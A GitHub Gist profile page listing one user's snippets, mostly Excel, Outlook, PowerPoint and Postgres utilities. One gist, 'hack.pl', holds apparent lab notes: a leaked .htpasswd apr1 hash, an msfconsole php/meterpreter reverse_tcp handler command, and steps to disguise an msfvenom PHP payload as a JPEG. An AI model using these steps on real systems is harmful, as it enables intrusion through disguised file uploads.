Skip to content

Instantly share code, notes, and snippets.

View rdapaz's full-sized avatar

ricdeez rdapaz

View GitHub Profile
@rdapaz
rdapaz / temp.py
Created May 21, 2018 17:29
Getting column name from column number in Excel
def column_name(iVal):
retVal = None
if iVal <= 26:
retVal = chr(64+iVal)
else:
m = int(iVal/26)
n = iVal - m*26
if n==0:
m = m-1
n = 26
@rdapaz
rdapaz / JoinCells.vb
Created June 21, 2018 09:45 — forked from ricdeez/JoinCells.vb
VBA: Join Cells on a Spreadsheet
Public Sub JoinCells()
Dim xls As Excel.Worksheet
Dim cell As Excel.Range
Dim destn_rge As Excel.Range
Dim combined As String
Dim i As Long
i = 0
Set destn_rge = Nothing
@rdapaz
rdapaz / regexp_matches.sql
Created July 13, 2018 05:06
Using regular expressions in postgres queries
update "DevTest" set ip_address = (regexp_matches(description, '\d\d?\d?\.\d\d?\d?\.\d\d?\d?\.\d\d?\d?'))[1] where vm = 'PER2RCA01' --,'PER1TFS02','PER1UFS01','PER2AADS01','PER2ICA01','PER2RCA01');
select vm, ip_address, description from "DevTest" where vm = 'PER2RCA01';
@rdapaz
rdapaz / FindEmailAttachments.ps1
Last active August 16, 2018 05:53
Email Attachment Finder
# These get modified for each run
$dict = @{
"xls" = "Excel";
"mpp" = "Project Plans";
"ppt" = "Slide Decks";
"vsd" = "Visio";
"doc" = "Word";
"pdf" = "PDF"
};
@rdapaz
rdapaz / emailtextgrabber.ps1
Last active October 30, 2018 09:29
Go through emails
Add-Type -assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -comobject Outlook.Application
$namespace = $Outlook.GetNameSpace("MAPI")
# Do stuff
# Folders.Item(2).Folders.Item(2) is Inbox on the second email account
$sntItems = $namespace.Folders.Item(3).Folders.Item(4)
$f = $sntItems
$outItems = New-Object System.Collections.Generic.List[System.Object]
$f.Items | ? {
$_.SentOn -gt (get-date).AddDays(-30)
@rdapaz
rdapaz / hack.pl
Last active September 13, 2018 09:45
Hacking .htpasswd
#!/usr/bin/perl
#developer:$apr1$Wv63/0xM$6hoeCDM.YzSITNZYFf6Bd/
#
# kali ip = 10.10.1.190
# exploit vm ip = 10.10.1.59
# msfconsole -x "use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 10.10.1.190; set LPORT 6000; exploit"
# use msfvenom to generate php payload, copy it to windows and use Winhex to insert binary code at the commencement of the file so that it resembles a jpeg
# xxd exploit.php | head -n 1
# 00000000: ffd8 ffde 0a2f 2a3c 3f70 6870 202f 2a2a ...../*<?php /**
@rdapaz
rdapaz / pptximage.py
Last active October 29, 2018 05:29 — forked from glass5er/pptximage.py
add an image in every Powerpoint slide using python-pptx
import pptx
import os
import re
import exifread
import time
import pprint
from pptx.util import Cm
from PIL import Image
from random import shuffle
@rdapaz
rdapaz / centerppt.vb
Created October 18, 2018 16:33
Center all images in a powerpoint slide deck
Public Sub AlignCenterMiddle()
Dim shp As PowerPoint.Shape
For Each Slide In PowerPoint.ActivePresentation.Slides
For Each shp In Slide.Shapes
With shp
sngDefaultSlideWidth = PowerPoint.ActivePresentation.PageSetup.SlideWidth
sngDefaultSlideHeight = PowerPoint.ActivePresentation.PageSetup.SlideHeight
@rdapaz
rdapaz / magpi_download.py
Created February 10, 2019 00:43
Download MagPy Magazine
import os
import time
import subprocess
for i in range(74, 79):
os.system(" ".join(["curl", "https://www.raspberrypi.org/magpi-issues/MagPi{}.pdf".format(str(i).zfill(2)), "-o", "/Users/rdapaz/Downloads/MagPi{}.pdf".format(str(i).zfill(2))]))
time.sleep(1)
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\XC261QBO
^
|
|
|
May be
doesn't
matter